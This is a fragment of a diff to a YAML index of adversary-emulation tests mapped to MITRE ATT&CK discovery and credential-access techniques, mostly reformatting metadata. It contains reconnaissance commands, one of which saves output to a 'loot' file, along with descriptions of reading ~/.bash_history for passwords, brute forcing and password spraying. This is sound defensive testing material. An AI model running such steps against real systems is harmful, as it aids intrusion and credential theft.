Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_permissions_required: - User - Administrator - SYSTEM - id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:28.187Z' identifier: T1018 atomic_tests: - name: Remote System Discovery - net @@ -10805,52 +10928,47 @@ discovery: ' T1063: technique: + id: attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Security Software Discovery description: |- Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools. - ===Windows=== + ### Windows - Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. + Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. - ===Mac=== + ### Mac It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: macOS, Windows - - Data Sources: File monitoring, Process command-line parameters, Process monitoring - - Permissions Required: User, Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1063 + - external_id: T1063 + url: https://attack.mitre.org/techniques/T1063 source_name: mitre-attack - external_id: T1063 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:51.330Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + x_mitre_platforms: + - macOS + - Windows x_mitre_permissions_required: - User - Administrator - SYSTEM - id: attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:51.330Z' identifier: T1063 atomic_tests: - name: Security Software Discovery @@ -10905,50 +11023,48 @@ discovery: command: fltmc.exe | findstr.exe 385201 T1082: technique: + id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: System Information Discovery description: |- An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. - ===Windows=== + ### Windows - Example commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories. + Example commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories. - ===Mac=== + ### Mac On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Linux, macOS, Windows - - Data Sources: Process command-line parameters, Process monitoring - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1082 + - external_id: T1082 + url: https://attack.mitre.org/techniques/T1082 source_name: mitre-attack - external_id: T1082 + - external_id: CAPEC-311 + url: https://capec.mitre.org/data/definitions/311.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:04.307Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:04.307Z' identifier: T1082 atomic_tests: - name: System Information Discovery @@ -10991,42 +11107,44 @@ discovery: uptime >> /tmp/loot.txt T1016: technique: + id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: System Network Configuration Discovery - description: |- - Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Linux, macOS, Windows - - Data Sources: Process command-line parameters, Process monitoring - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + description: Adversaries will likely look for details about the network configuration + and settings of systems they access or through information discovery of remote + systems. Several operating system administration utilities exist that can + be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), + [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), + [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). external_references: - - url: https://attack.mitre.org/wiki/Technique/T1016 + - external_id: T1016 + url: https://attack.mitre.org/techniques/T1016 source_name: mitre-attack - external_id: T1016 + - external_id: CAPEC-309 + url: https://capec.mitre.org/data/definitions/309.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:27.342Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:27.342Z' identifier: T1016 atomic_tests: - name: System Network Configuration Discovery @@ -11058,50 +11176,45 @@ discovery: ifconfig T1049: technique: + id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: System Network Connections Discovery description: "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote - systems by querying for information over the network. \n\n===Windows===\n\nUtilities - and commands that acquire this information include netstat, \"net use,\" and - \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat - and lsof can be used to list current connections. who -a - and w can be used to show which users are currently logged in, - similar to \"net session\".\n\nDetection: System and network discovery techniques - normally occur throughout an operation as an adversary learns the environment. - Data and events should not be viewed in isolation, but as part of a chain - of behavior that could lead to other activities, such as Lateral Movement, - based on the information obtained.\n\nMonitor processes and command-line arguments - for actions that could be taken to gather system and network information. - Remote access tools with built-in features may interact directly with the - Windows API to gather information. Information may also be acquired through - Windows system management tools such as Windows Management Instrumentation - and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process - command-line parameters, Process monitoring\n\nPermissions Required: User, - Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + systems by querying for information over the network. \n\n### Windows\n\nUtilities + and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), + \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### + Mac and Linux \n\nIn Mac and Linux, netstat and lsof + can be used to list current connections. who -a and w + can be used to show which users are currently logged in, similar to \"net + session\"." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1049 + - external_id: T1049 + url: https://attack.mitre.org/techniques/T1049 source_name: mitre-attack - external_id: T1049 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:45.139Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - Administrator - id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:45.139Z' identifier: T1049 atomic_tests: - name: System Network Connections Discovery @@ -11141,54 +11254,52 @@ discovery: who -a T1033: technique: + id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: System Owner/User Discovery description: |- - ===Windows=== + ### Windows - Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. + Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. - ===Mac=== + ### Mac On Mac, the currently logged in user can be identified with users,w, and who. - ===Linux=== + ### Linux On Linux, the currently logged in user can be identified with w and who. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Process monitoring, Process command-line parameters - - Permissions Required: User, Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1033 + - external_id: T1033 + url: https://attack.mitre.org/techniques/T1033 source_name: mitre-attack - external_id: T1033 + - external_id: CAPEC-577 + url: https://capec.mitre.org/data/definitions/577.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:35.733Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - Administrator - id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:35.733Z' identifier: T1033 atomic_tests: - name: System Owner/User Discovery @@ -11228,42 +11339,43 @@ discovery: who T1007: technique: + id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: System Service Discovery - description: |- - Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Windows - - Data Sources: Process command-line parameters, Process monitoring - - Permissions Required: User, Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + description: Adversaries may try to get information about registered services. + Commands that may obtain information about services using operating system + utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), + and "net start" using [Net](https://attack.mitre.org/software/S0039), but + adversaries may also use other tools as well. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1007 + - external_id: T1007 + url: https://attack.mitre.org/techniques/T1007 source_name: mitre-attack - external_id: T1007 + - external_id: CAPEC-574 + url: https://capec.mitre.org/data/definitions/574.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:21.315Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - Administrator - SYSTEM - id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:21.315Z' identifier: T1007 atomic_tests: - name: System Service Discovery @@ -11288,52 +11400,50 @@ discovery: wmic service where (displayname like "#{service_name}") get name T1124: technique: + id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: System Time Discovery description: |- The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) - An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. - - Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters, API monitoring - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1124 + - external_id: T1124 + url: https://attack.mitre.org/techniques/T1124 source_name: mitre-attack - external_id: T1124 - - description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016. + - url: https://msdn.microsoft.com/ms724961.aspx + description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016. source_name: MSDN System Time - url: https://msdn.microsoft.com/ms724961.aspx - - description: Mathers, B. (2016, September 30). Windows Time Service Tools - and Settings. Retrieved November 25, 2016. - source_name: Technet Windows Time Service - url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings - - description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved + - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf + description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016. source_name: RSA EU12 They're Inside - url: https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf + - url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings + description: Mathers, B. (2016, September 30). Windows Time Service Tools + and Settings. Retrieved November 25, 2016. + source_name: Technet Windows Time Service object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:37.450Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters - API monitoring + x_mitre_detection: Command-line interface monitoring may be useful to detect + instances of net.exe or other command-line utilities being used to gather + system time or time zone. Methods of detecting API use for gathering this + information are likely less useful due to how often they may be used by legitimate + software. x_mitre_permissions_required: - User - id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:37.450Z' identifier: T1124 atomic_tests: - name: System Time Discovery @@ -11366,54 +11476,60 @@ discovery: credential-access: T1098: technique: + id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Account Manipulation - description: |- - Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. - - Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017) - - Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. - - Platforms: Windows - - Data Sources: Authentication logs, API monitoring, Windows event logs, Packet capture - - Permissions Required: Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + description: Account manipulation may aid adversaries in maintaining access + to credentials and certain permission levels within an environment. Manipulation + could consist of modifying permissions, modifying credentials, adding or changing + permission groups, modifying account settings, or modifying how authentication + is performed. These actions could also include account activity designed to + subvert security policies, such as performing iterative password updates to + subvert password duration policies and preserve the life of compromised credentials. + In order to create or manipulate accounts, the adversary must already have + sufficient permissions on systems or the domain. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1098 + - external_id: T1098 + url: https://attack.mitre.org/techniques/T1098 source_name: mitre-attack - external_id: T1098 - - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account + - url: https://docs.microsoft.com/windows/device-security/auditing/event-4738 + description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.' source_name: Microsoft User Modified Event - url: https://docs.microsoft.com/windows/device-security/auditing/event-4738 - - description: Warren, J. (2017, July 11). Manipulating User Passwords with + - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + description: Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. source_name: InsiderThreat ChangeNTLM July 2017 - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - - description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm + - url: https://github.com/gentilkiwi/mimikatz/issues/92 + description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.' source_name: GitHub Mimikatz Issue 92 June 2017 - url: https://github.com/gentilkiwi/mimikatz/issues/92 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:12.196Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Tim MalcomVetter x_mitre_data_sources: - Authentication logs - API monitoring - Windows event logs - Packet capture + x_mitre_detection: |- + Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017) + + Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. x_mitre_permissions_required: - Administrator - id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:12.196Z' identifier: T1098 atomic_tests: - name: Admin Account Manipulate @@ -11443,44 +11559,47 @@ credential-access: } T1139: technique: + id: attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Bash History - description: |- - Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) - - Detection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history. - - Platforms: Linux, macOS - - Data Sources: File monitoring, Process monitoring, Process command-line parameters - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + description: 'Bash keeps track of the commands users type on the command-line + with the "history" utility. Once a user logs out, the history is flushed to + the user’s .bash_history file. For each user, this file resides + at the same location: ~/.bash_history. Typically, this file keeps + track of the user’s last 500 commands. Users often type usernames and passwords + on the command-line as parameters to programs, which then get saved to this + file when they log out. Attackers can abuse this by looking through the file + for potential credentials. (Citation: External to DA, the OS X Way)' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1139 + - external_id: T1139 + url: https://attack.mitre.org/techniques/T1139 source_name: mitre-attack - external_id: T1139 - - description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to + - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way + description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. source_name: External to DA, the OS X Way - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters + x_mitre_detection: Monitoring when the user's .bash_history is + read can help alert to suspicious activity. While users do typically rely + on their history of commands, they often access this history through other + utilities like "history" instead of commands like cat ~/.bash_history. + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User - id: attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1139 atomic_tests: - name: xxxx @@ -11512,69 +11631,59 @@ credential-access: ' T1110: technique: + id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Brute Force - description: "Adversaries may use brute force techniques to attempt access to - accounts when passwords are unknown or when password hashes are obtained.\n\nCredential - Dumping to obtain password hashes may only get an adversary so far when Pass - the Hash is not an option. Techniques to systematically guess the passwords - used to compute hashes are available, or the adversary may use a pre-computed - rainbow table. Cracking hashes is usually done on adversary-controlled systems - outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries - may attempt to brute force logins without knowledge of passwords or hashes - during an operation either with zero knowledge or by attempting a list of - known or possible passwords. This is a riskier option because it could cause - numerous authentication failures and account lockouts, depending on the organization's - login failure policies. (Citation: Cylance Cleaver)\n\nA related technique - called password spraying uses one password, or a small list of passwords, - that matches the complexity policy of the domain and may be a commonly used - password. Logins are attempted with that password and many different accounts - on a network to avoid account lockouts that would normally occur when brute - forcing a single account with many passwords. (Citation: BlackHillsInfosec - Password Spraying)\n\nDetection: It is difficult to detect when hashes are - cracked, since this is generally done outside the scope of the target network. - \n\nMonitor authentication logs for system and application login failures - of Valid Accounts. If authentication failures are high, then there may be - a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso - monitor for many failed authentication attempts across various accounts that - may result from password spraying 